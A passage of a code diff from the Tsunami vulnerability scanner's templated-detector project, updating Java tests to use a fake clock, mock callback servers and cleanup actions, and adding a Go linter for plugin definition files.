+64,22 @@ public void initializeWithCallback_setsEnvironment() { .setPort(Port.newBuilder().setPortNumber(80))) .setTransportProtocol(TransportProtocol.TCP) .build(); - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.initializeFor(networkService, tcsClient, secretGenerator); + assertThat(env.get("T_UTL_CURRENT_TIMESTAMP_MS")).isEqualTo("1577836800000"); assertThat(env.get("T_NS_BASEURL")).isEqualTo("http://hostname:80/"); assertThat(env.get("T_NS_PROTOCOL")).isEqualTo("TCP"); assertThat(env.get("T_NS_HOSTNAME")).isEqualTo("hostname"); assertThat(env.get("T_NS_PORT")).isEqualTo("80"); assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); - assertThat(env.get("T_CBS_URI")).isEqualTo("http://1.2.3.4:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); + assertThat(env.get("T_CBS_URI")) + .isEqualTo("http://1.2.3.4:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); assertThat(env.get("T_CBS_ADDRESS")).isEqualTo("1.2.3.4"); assertThat(env.get("T_CBS_PORT")).isEqualTo("1234"); assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); } - + @Test public void initializeWithoutCallbackButWithSecrets_setsEnvironment() { TcsClient tcsClient = new TcsClient("", 0, "", httpClient); @@ -89,9 +94,10 @@ public void initializeWithoutCallbackButWithSecrets_setsEnvironment() { .setPort(Port.newBuilder().setPortNumber(80))) .setTransportProtocol(TransportProtocol.TCP) .build(); - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.initializeFor(networkService, tcsClient, secretGenerator); + assertThat(env.get("T_UTL_CURRENT_TIMESTAMP_MS")).isEqualTo("1577836800000"); assertThat(env.get("T_NS_BASEURL")).isEqualTo("http://hostname:80/"); assertThat(env.get("T_NS_PROTOCOL")).isEqualTo("TCP"); assertThat(env.get("T_NS_HOSTNAME")).isEqualTo("hostname"); @@ -117,9 +123,10 @@ public void initializeWithoutCallback_setsEnvironment() { .setPort(Port.newBuilder().setPortNumber(80))) .setTransportProtocol(TransportProtocol.TCP) .build(); - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.initializeFor(networkService, tcsClient, null); + assertThat(env.get("T_UTL_CURRENT_TIMESTAMP_MS")).isEqualTo("1577836800000"); assertThat(env.get("T_NS_BASEURL")).isEqualTo("http://hostname:80/"); assertThat(env.get("T_NS_PROTOCOL")).isEqualTo("TCP"); assertThat(env.get("T_NS_HOSTNAME")).isEqualTo("hostname"); @@ -133,7 +140,7 @@ public void initializeWithoutCallback_setsEnvironment() { @Test public void setVariable_addsToEnvironment() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.set("var1", "value1"); env.set("var2", "value2"); @@ -143,7 +150,7 @@ public void setVariable_addsToEnvironment() { @Test public void substitute_replacesVariablesInTemplate() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.set("var1", "value1"); env.set("var2", "value2"); @@ -156,7 +163,7 @@ public void substitute_replacesVariablesInTemplate() { @Test public void substituteWithInvalidTemplate_replacesNothing() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.set("var1", "value1"); String template = "This is {var1}"; @@ -167,7 +174,7 @@ public void substituteWithInvalidTemplate_replacesNothing() { @Test public void substituteWithNonExistingVar_replacesNothing() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); env.set("var2", "value2"); String template = "This is {{var1}}{{ var1 }}"; @@ -178,7 +185,7 @@ public void substituteWithNonExistingVar_replacesNothing() { @Test public void extractWhenFound_addsToEnvironment() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); String template = "value1:12345"; String pattern = "value1:([0-9]+)"; @@ -189,7 +196,7 @@ public void extractWhenFound_addsToEnvironment() { @Test public void extractWhenNotFound_returnsFalse() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); String template = "value1:abcdef"; String pattern = "value1:([0-9]+)"; @@ -200,7 +207,7 @@ public void extractWhenNotFound_returnsFalse() { @Test public void extractWhenInvalidPattern_throwsException() { - Environment env = new Environment(false); + Environment env = new Environment(false, utcClock); String template = "value1:abcdef"; String pattern = "value1:([0-9]+"; diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorDynamicTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorDynamicTest.java index abb4c51dd..9bef4d16b 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorDynamicTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorDynamicTest.java @@ -34,11 +34,14 @@ import com.google.tsunami.common.net.http.HttpClientModule; import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.TcsClient; +import com.google.tsunami.plugin.payload.PayloadSecretGenerator; import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.templatedplugin.proto.tests.HttpTestAction; +import com.google.tsunami.templatedplugin.proto.tests.MockHttpServer; import com.google.tsunami.templatedplugin.proto.tests.TemplatedPluginTests; import java.io.IOException; import java.net.URL; @@ -61,7 +64,13 @@ public final class TemplatedDetectorDynamicTest { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private Environment environment; + private FakePayloadGeneratorModule.Builder payloadGeneratorModuleBuilder; + private ImmutableList.Builder netServicesBuilder; + private TargetInfo.Builder targetInfoBuilder; private MockWebServer mockWebServer; + private MockWebServer mockCallbackServer; + private PayloadSecretGenerator payloadSecretGenerator; + private TcsClient tcsClient; private static final FakeUtcClock fakeUtcClock = FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); @@ -74,57 +83,114 @@ public void nextBytes(byte[] bytes) { }; @Before - public void setupMockWebServer() throws IOException { - environment = new Environment(false); + public void setupMockServers() throws IOException { + environment = new Environment(false, fakeUtcClock); mockWebServer = new MockWebServer(); - var baseUrl = "http://" + mockWebServer.getHostName() + ":" + mockWebServer.getPort() + "/"; - environment.set("T_NS_BASEURL", baseUrl); + mockCallbackServer = new MockWebServer(); + targetInfoBuilder = TargetInfo.newBuilder(); + netServicesBuilder = ImmutableList.builder(); + payloadGeneratorModuleBuilder = + FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom); } @After public void tearDown() throws IOException { mockWebServer.shutdown(); + mockCallbackServer.shutdown(); } @Test @TestParameters(valuesProvider = TestProvider.class) - public void runTest(TemplatedDetector detector, TemplatedPluginTests.Test testCase) { - switch (testCase.getAnyActionCase()) { - case MOCK_HTTP_SERVER: - forHttpAction(detector, testCase); - break; - default: - throw new IllegalArgumentException("Unsupported action: " + testCase.getAnyActionCase()); + public void runTest(String pluginName, TemplatedPluginTests.Test testCase) { + // initialize the different mock servers required for this test. + if (testCase.hasMockCallbackServer()) { + initMockCallbackServer(testCase); } + + if (testCase.hasMockHttpServer()) { + initMockHttpServer(testCase); + } + + // initialize the engine and retrieve the detector. + var detectors = initializeDetectors(); + if (!detectors.containsKey(pluginName)) { + throw new IllegalArgumentException( + "Plugin '" + + pluginName + + "' not found (ensure the tested_plugin field is set correctly)."); + } + var detector = detectors.get(pluginName); + var targetInfo = targetInfoBuilder.build(); + var netServices = netServicesBuilder.build(); + + // Check the test case expectations. + assertThat(detector).isNotNull(); + var returnedVulns = detector.detect(targetInfo, netServices).getDetectionReportsCount() == 1; + assertThat(returnedVulns).isEqualTo(testCase.getExpectVulnerability()); } - private final void forHttpAction(TemplatedDetector detector, TemplatedPluginTests.Test testCase) { - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - var targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + private final ImmutableMap initializeDetectors() { + var bootstrap = new TemplatedDetectorBootstrapModule(); + bootstrap.setForceLoadDetectors(true); + var injector = + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + payloadGeneratorModuleBuilder.build(), + bootstrap); + + payloadSecretGenerator = injector.getInstance(PayloadSecretGenerator.class); + tcsClient = injector.getInstance(TcsClient.class); + return bootstrap.getDetectors(); + } + + private final void initMockCallbackServer(TemplatedPluginTests.Test testCase) { + if (!testCase.getMockCallbackServer().getEnabled()) { + return; + } + + payloadGeneratorModuleBuilder.setCallbackServer(mockCallbackServer); + + try { + var response = + testCase.getMockCallbackServer().getHasInteraction() + ? PayloadTestHelper.generateMockSuccessfulCallbackResponse() + : PayloadTestHelper.generateMockUnsuccessfulCallbackResponse(); + mockCallbackServer.enqueue(response); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + private final void initMockHttpServer(TemplatedPluginTests.Test testCase) { + NetworkService httpService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") .build(); + this.environment.initializeFor(httpService, this.tcsClient, this.payloadSecretGenerator); prepareMockServer(ImmutableList.copyOf(testCase.getMockHttpServer().getMockResponsesList())); - assertThat(detector).isNotNull(); - if (testCase.getExpectVulnerability()) { - assertThat(detector.detect(targetInfo, httpServices).getDetectionReportsCount()) - .isEqualTo(httpServices.size()); - } else { - assertThat(detector.detect(targetInfo, httpServices).getDetectionReportsCount()).isEqualTo(0); - } + targetInfoBuilder.addNetworkEndpoints(forHostname(mockWebServer.getHostName())); + netServicesBuilder.add(httpService); } - private final void prepareMockServer(ImmutableList mockResponses) { - var responseMap = mockResponses.stream().collect(toImmutableMap(r -> r.getUri(), r -> r)); + private final void prepareMockServer(ImmutableList mockResponses) { + var responseMap = + mockResponses.stream() + .collect( + toImmutableMap( + r -> { + var uri = this.environment.substitute(r.getUri()); + if (!uri.startsWith("/")) { + return "/" + uri; + } + return uri; + }, + r -> r)); Dispatcher dispatcher = new Dispatcher() { @@ -150,6 +216,7 @@ public MockResponse dispatch(RecordedRequest request) throws InterruptedExceptio return new MockResponse().setBody(content); } + logger.atInfo().log("MockHTTP: No response for request to '%s'", request.getPath()); return new MockResponse().setResponseCode(404); } }; @@ -158,7 +225,7 @@ public MockResponse dispatch(RecordedRequest request) throws InterruptedExceptio } private final MockResponse dispatchResponse( - RecordedRequest request, HttpTestAction.MockResponse response) { + RecordedRequest request, MockHttpServer.MockResponse response) { // ensure the headers condition are met. if (response.getCondition().getHeadersCount() > 0) { for (var h : response.getCondition().getHeadersList()) { @@ -176,7 +243,7 @@ private final MockResponse dispatchResponse( // ensure the body content condition are met. if (response.getCondition().getBodyContentCount() > 0) { for (var b : response.getCondition().getBodyContentList()) { - if (!request.getUtf8Body().contains(b)) { + if (!request.getUtf8Body().contains(environment.substitute(b))) { logger.atInfo().log( "Body content did not match content condition with '%s', returning 404", b); return new MockResponse().setResponseCode(404); @@ -187,62 +254,49 @@ private final MockResponse dispatchResponse( return createResponse(response); } - private final MockResponse createResponse(HttpTestAction.MockResponse testResponse) { - var mock = - new MockResponse() - .setResponseCode(testResponse.getStatus()) - .setBody(testResponse.getBodyContent()); - testResponse.getHeadersList().forEach(h -> mock.addHeader(h.getName(), h.getValue())); + private final MockResponse createResponse(MockHttpServer.MockResponse testResponse) { + var content = this.environment.substitute(testResponse.getBodyContent()); + var mock = new MockResponse().setResponseCode(testResponse.getStatus()).setBody(content); + testResponse + .getHeadersList() + .forEach(h -> mock.addHeader(h.getName(), this.environment.substitute(h.getValue()))); return mock; } static final class TestProvider extends TestParametersValuesProvider { @Override public ImmutableList provideValues(Context context) { - var detectors = getDetectors(); return getResourceNames().stream() .map(TestProvider::loadPlugin) .filter(plugin -> plugin != null) - .flatMap(plugin -> parametersForPlugin(plugin, detectors).stream()) + .flatMap(plugin -> parametersForPlugin(plugin).stream()) .collect(toImmutableList()); } - private static final ImmutableMap getDetectors() { - var bootstrap = new TemplatedDetectorBootstrapModule(); - bootstrap.setForceLoadDetectors(true); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom).build(), - bootstrap); - return bootstrap.getDetectors(); - } - - private static ImmutableList generateCommonTests( - TemplatedDetector detector) { + private static ImmutableList generateCommonTests(String pluginName) { // Echo server test: plugins should never return a vulnerability when the response just // contains the request. - var testName = detector.getName() + ", autogenerated_whenEchoServer_returnsFalse"; + var testName = pluginName + ", autogenerated_whenEchoServer_returnsFalse"; return ImmutableList.of( TestParametersValues.builder() .name(testName) - .addParameter("detector", detector) + .addParameter("pluginName", pluginName) .addParameter( "testCase", TemplatedPluginTests.Test.newBuilder() .setName(testName) .setExpectVulnerability(false) .setMockHttpServer( - HttpTestAction.newBuilder() + MockHttpServer.newBuilder() .addMockResponses( - HttpTestAction.MockResponse.newBuilder() + MockHttpServer.MockResponse.newBuilder() .setUri("TSUNAMI_MAGIC_ECHO_SERVER"))) .build()) .build()); } private static ImmutableList parametersForPlugin( - TemplatedPluginTests pluginTests, ImmutableMap detectors) { + TemplatedPluginTests pluginTests) { var pluginName = pluginTests.getConfig().getTestedPlugin(); if (pluginTests.getConfig().getDisabled()) { @@ -250,15 +304,9 @@ private static ImmutableList parametersForPlugin( return ImmutableList.of(); } - if (!detectors.containsKey(pluginName)) { - logger.atWarning().log("Plugin '%s' not found or disabled. Skipping test.", pluginName); - return ImmutableList.of(); - } - - var detector = detectors.get(pluginName); var testsBuilder = ImmutableList.builder(); // Inject tests that are common to all plugins. - testsBuilder.addAll(generateCommonTests(detector)); + testsBuilder.addAll(generateCommonTests(pluginName)); // Tests defined in the plugin test file. pluginTests.getTestsList().stream() @@ -266,7 +314,7 @@ private static ImmutableList parametersForPlugin( t -> TestParametersValues.builder() .name(pluginName + ", " + t.getName()) - .addParameter("detector", detector) + .addParameter("pluginName", pluginName) .addParameter("testCase", t) .build()) .forEach(testsBuilder::add); diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java index 97c859d56..0c5821f36 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java @@ -51,25 +51,44 @@ public void nextBytes(byte[] bytes) { Arrays.fill(bytes, (byte) 0xFF); } }; + private static final PluginAction ACTION_RETURNS_TRUE = + PluginAction.newBuilder() + .setName("action_returns_true") + .setHttpRequest( + HttpAction.newBuilder() + .setMethod(HttpAction.HttpMethod.GET) + .addUri("/OK") + .setResponse(HttpAction.HttpResponse.newBuilder().setHttpStatus(200))) + .build(); + private static final PluginAction ACTION_RETURNS_FALSE = + PluginAction.newBuilder() + .setName("action_returns_false") + .setHttpRequest( + HttpAction.newBuilder() + .setMethod(HttpAction.HttpMethod.GET) + .addUri("/NOTFOUND") + .setResponse(HttpAction.HttpResponse.newBuilder().setHttpStatus(200))) + .build(); + private static final PluginAction ACTION_CLEANUP = + ACTION_RETURNS_TRUE.toBuilder() + .setName("action_cleanup") + .setHttpRequest( + HttpAction.newBuilder().setMethod(HttpAction.HttpMethod.GET).addUri("/CLEANUP")) + .build(); private static final TemplatedPlugin BASE_PROTO = TemplatedPlugin.newBuilder() .setInfo(PluginInfo.newBuilder().setName("ExampleTemplated")) + .addActions(ACTION_CLEANUP) + .addActions(ACTION_RETURNS_TRUE) .addActions( - PluginAction.newBuilder() - .setName("action_returns_true") - .setHttpRequest( - HttpAction.newBuilder() - .setMethod(HttpAction.HttpMethod.GET) - .addUri("/OK") - .setResponse(HttpAction.HttpResponse.newBuilder().setHttpStatus(200)))) + ACTION_RETURNS_TRUE.toBuilder() + .setName("action_returns_true_with_cleanup") + .addCleanupActions("action_cleanup")) + .addActions(ACTION_RETURNS_FALSE) .addActions( - PluginAction.newBuilder() - .setName("action_returns_false") - .setHttpRequest( - HttpAction.newBuilder() - .setMethod(HttpAction.HttpMethod.GET) - .addUri("/NOTFOUND") - .setResponse(HttpAction.HttpResponse.newBuilder().setHttpStatus(200)))) + ACTION_RETURNS_FALSE.toBuilder() + .setName("action_returns_false_with_cleanup") + .addCleanupActions("action_cleanup")) .build(); private MockWebServer mockWebServer; @@ -214,6 +233,22 @@ public void detect_unknownActionNameInWorkflow_throwsException() { assertThat(this.mockWebServer.getRequestCount()).isEqualTo(0); } + @Test + public void detect_unknownCleanupNameInAction_throwsException() { + var proto = + BASE_PROTO.toBuilder() + .addActions( + PluginAction.newBuilder() + .setName("action_with_undefined_cleanup") + .addCleanupActions("undefined_cleanup")) + .addWorkflows(PluginWorkflow.newBuilder().addActions("action_with_undefined_cleanup")) + .build(); + var detector = setupDetector(proto); + + assertThrows( + IllegalArgumentException.class, () -> detector.detect(this.targetInfo, this.httpServices)); + } + @Test public void detect_variableFromWorkflow_propagatedAndReturnsFindings() throws InterruptedException { @@ -277,6 +312,62 @@ public void detect_customFinding_returnsCustomFinding() throws InterruptedExcept .containsExactly(expect); } + @Test + public void detect_cleanupOnFailingAction_cleanupDoesNotRun() throws InterruptedException { + var proto = + BASE_PROTO.toBuilder() + .addWorkflows( + PluginWorkflow.newBuilder().addActions("action_returns_false_with_cleanup")) + .build(); + var detector = setupDetector(proto); + + assertThat(detector.detect(this.targetInfo, this.httpServices).getDetectionReportsCount()) + .isEqualTo(0); + assertThat(this.mockWebServer.getRequestCount()).isEqualTo(1); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/NOTFOUND"); + } + + @Test + public void detect_cleanupOnSuccessfulAction_cleanupRunsAfterLastSuccessAction() + throws InterruptedException { + var proto = + BASE_PROTO.toBuilder() + .addWorkflows( + PluginWorkflow.newBuilder() + .addActions("action_returns_true_with_cleanup") + .addActions("action_returns_true")) + .build(); + var detector = setupDetector(proto); + + assertThat(detector.detect(this.targetInfo, this.httpServices).getDetectionReportsCount()) + .isEqualTo(1); + assertThat(this.mockWebServer.getRequestCount()).isEqualTo(3); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/OK"); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/OK"); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/CLEANUP"); + } + + @Test + public void detect_cleanupOnSuccessfulAction_cleanupRunsAfterLastFailAction() + throws InterruptedException { + var proto = + BASE_PROTO.toBuilder() + .addWorkflows( + PluginWorkflow.newBuilder() + .addActions("action_returns_true_with_cleanup") + .addActions("action_returns_false") + .addActions("action_returns_true")) + .build(); + var detector = setupDetector(proto); + + assertThat(detector.detect(this.targetInfo, this.httpServices).getDetectionReportsCount()) + .isEqualTo(0); + assertThat(this.mockWebServer.getRequestCount()).isEqualTo(3); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/OK"); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/NOTFOUND"); + assertThat(this.mockWebServer.takeRequest().getPath()).isEqualTo("/CLEANUP"); + } + private TemplatedDetector setupDetector(TemplatedPlugin proto) { TemplatedDetector detector = new TemplatedDetector(proto); Guice.createInjector( diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/CallbackServerActionRunnerTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/CallbackServerActionRunnerTest.java new file mode 100644 index 000000000..d029726d0 --- /dev/null +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/CallbackServerActionRunnerTest.java @@ -0,0 +1,129 @@ +package com.google.tsunami.plugins.detectors.templateddetector.actions; + +import static com.google.common.truth.Truth.assertThat; + +import com.google.inject.Guice; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.plugin.TcsClient; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.templateddetector.Environment; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.templatedplugin.proto.CallbackServerAction; +import com.google.tsunami.templatedplugin.proto.PluginAction; +import java.io.IOException; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.Arrays; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public final class CallbackServerActionRunnerTest { + private CallbackServerActionRunner runner; + private Environment environment; + private MockWebServer mockCallbackServer; + private NetworkService service; + + @Inject private TcsClient tcsClient; + + private static final FakeUtcClock utcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + private static final SecureRandom testSecureRandom = + new SecureRandom() { + @Override + public void nextBytes(byte[] bytes) { + Arrays.fill(bytes, (byte) 0xFF); + } + }; + + @Before + public void setup() { + this.environment = new Environment(false, utcClock); + this.environment.set("T_CBS_SECRET", "irrelevant"); + this.service = NetworkService.getDefaultInstance(); + } + + @Before + public void setupMockHttp() { + this.mockCallbackServer = new MockWebServer(); + } + + @After + public void tearMockHttp() throws IOException { + this.mockCallbackServer.shutdown(); + } + + @Test + public void checkAction_whenCallbackServerDisabled_returnsFalse() throws IOException { + PluginAction action = + PluginAction.newBuilder() + .setName("action") + .setCallbackServer( + CallbackServerAction.newBuilder() + .setActionType(CallbackServerAction.ActionType.CHECK)) + .build(); + + setupCallbackServer(false, false); + + assertThat(runner.run(this.service, action, this.environment)).isFalse(); + } + + @Test + public void checkAction_whenCallbackServerReturnsFalse_returnsFalse() throws IOException { + PluginAction action = + PluginAction.newBuilder() + .setName("action") + .setCallbackServer( + CallbackServerAction.newBuilder() + .setActionType(CallbackServerAction.ActionType.CHECK)) + .build(); + + setupCallbackServer(true, false); + + assertThat(runner.run(this.service, action, this.environment)).isFalse(); + assertThat(this.mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void checkAction_whenCallbackServerReturnsTrue_returnsTrue() throws IOException { + PluginAction action = + PluginAction.newBuilder() + .setName("action") + .setCallbackServer( + CallbackServerAction.newBuilder() + .setActionType(CallbackServerAction.ActionType.CHECK)) + .build(); + + setupCallbackServer(true, true); + + assertThat(runner.run(this.service, action, this.environment)).isTrue(); + assertThat(this.mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + private final void setupCallbackServer(boolean enabled, boolean response) throws IOException { + FakePayloadGeneratorModule.Builder payloadGeneratorModuleBuilder = + FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom); + + if (enabled) { + payloadGeneratorModuleBuilder.setCallbackServer(mockCallbackServer); + + if (response) { + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + } else { + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + } + } + + Guice.createInjector( + new HttpClientModule.Builder().build(), payloadGeneratorModuleBuilder.build()) + .injectMembers(this); + this.runner = new CallbackServerActionRunner(tcsClient, false); + } +} diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunnerTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunnerTest.java index da001dec5..9c8220f4e 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunnerTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunnerTest.java @@ -6,6 +6,7 @@ import com.google.inject.Guice; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.plugins.detectors.templateddetector.Environment; import com.google.tsunami.proto.Hostname; import com.google.tsunami.proto.NetworkEndpoint; @@ -15,6 +16,7 @@ import com.google.tsunami.templatedplugin.proto.HttpAction; import com.google.tsunami.templatedplugin.proto.PluginAction; import java.io.IOException; +import java.time.Instant; import java.util.regex.PatternSyntaxException; import javax.inject.Inject; import okhttp3.mockwebserver.MockResponse; @@ -35,11 +37,14 @@ public final class HttpActionRunnerTest { @Inject private HttpClient httpClient; + private static final FakeUtcClock utcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + @Before public void setup() { Guice.createInjector(new HttpClientModule.Builder().build()).injectMembers(this); this.runner = new HttpActionRunner(httpClient, false); - this.environment = new Environment(false); + this.environment = new Environment(false, utcClock); } @Before diff --git a/templated/utils/linter/linter.go b/templated/utils/linter/linter.go new file mode 100644 index 000000000..30db15382 --- /dev/null +++ b/templated/utils/linter/linter.go @@ -0,0 +1,110 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// Package main defines the linter entrypoint. +package main + +import ( + "os" + "regexp" + "strings" + + "google.golang.org/protobuf/encoding/prototext" + "github.com/rs/zerolog/log" + "github.com/rs/zerolog" + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + "github.com/google/tsunami-security-scanner-plugins/templated/utils/linter/rules" +) + +var ( + simplifyPathRegexp = regexp.MustCompile(`templated/templateddetector/plugins/.+`) +) + +func loadPlugin(path string) (*tpb.TemplatedPlugin, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + var plugin tpb.TemplatedPlugin + if err := prototext.Unmarshal(data, &plugin); err != nil { + return nil, err + } + + return &plugin, nil +} + +func loadTests(path string) (*tspb.TemplatedPluginTests, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + var pluginTests tspb.TemplatedPluginTests + if err := prototext.Unmarshal(data, &pluginTests); err != nil { + return nil, err + } + + return &pluginTests, nil +} + +func main() { + // configure logging + log.Logger = log.Output(zerolog.ConsoleWriter{ + Out: os.Stderr, + NoColor: false, + }) + + if len(os.Args) != 2 { + log.Panic().Msg("Usage: linter ") + } + + pluginPath := os.Args[1] + simplePluginPath := simplifyPathRegexp.FindString(pluginPath) + plugin, err := loadPlugin(pluginPath) + if err != nil { + log.Panic().Err(err) + } + + testFile := strings.Replace(pluginPath, ".textproto", "_test.textproto", 1) + simpleTestFilepath := simplifyPathRegexp.FindString(testFile) + var results []*rules.RuleResult + tests, err := loadTests(testFile) + if err != nil { + results = append(results, noTestFinding(pluginPath)) + } + + r, err := rules.RunAll(simplePluginPath, plugin, simpleTestFilepath, tests) + if err != nil { + log.Panic().Err(err) + } + + results = append(results, r...) + exitcode := 0 + for _, result := range results { + if result.Blocking() { + exitcode = 1 + } + + result.Log() + } + + os.Exit(exitcode) +} + +func noTestFinding(testFilepath string) *rules.RuleResult { + reason := "No tests found for plugin with auto-detected path. Did you write tests? Did you use the `_test.textproto` pattern for the filename?" + return rules.NewRuleResult("test-file-not-found", reason, "", false, testFilepath, 0) +} diff --git a/templated/utils/linter/rules/lintrule.go b/templated/utils/linter/rules/lintrule.go new file mode 100644 index 000000000..45e8b9de3 --- /dev/null +++ b/templated/utils/linter/rules/lintrule.go @@ -0,0 +1,86 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "github.com/rs/zerolog/log" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +// Rule provides the interface to define a linting rule. +type Rule interface { + // Checks a given plugin and/or its tests against the linting rule and return a list of results. + Check(string, *tpb.TemplatedPlugin, string, *tspb.TemplatedPluginTests) ([]*RuleResult, error) +} + +// RuleResult provides the interface to define the result of a linting rule. +type RuleResult struct { + // Identifier of the linter rule. + identifier string + + // Whether this is a blocking result. + blocking bool + + // Reason why the linter notified an issue. + reason string + + // HelperURL to a page that can be used to resolve the issue highlighted by the rule. + helperURL string + + // Filename that caused the issue to be raised. + filename string + + // LineNumber were the issue was found. + lineNumber int +} + +// Log the result. +func (r *RuleResult) Log() { + helperURL := "None" + if r.helperURL != "" { + helperURL = r.helperURL + } + + logger := log.With(). + Str("linter", r.identifier). + Str("documentation", helperURL). + Str("filename", r.filename). + Logger() + + if r.blocking { + logger.Error().Msg(r.reason) + } else { + logger.Warn().Msg(r.reason) + } +} + +// Blocking returns whether the result 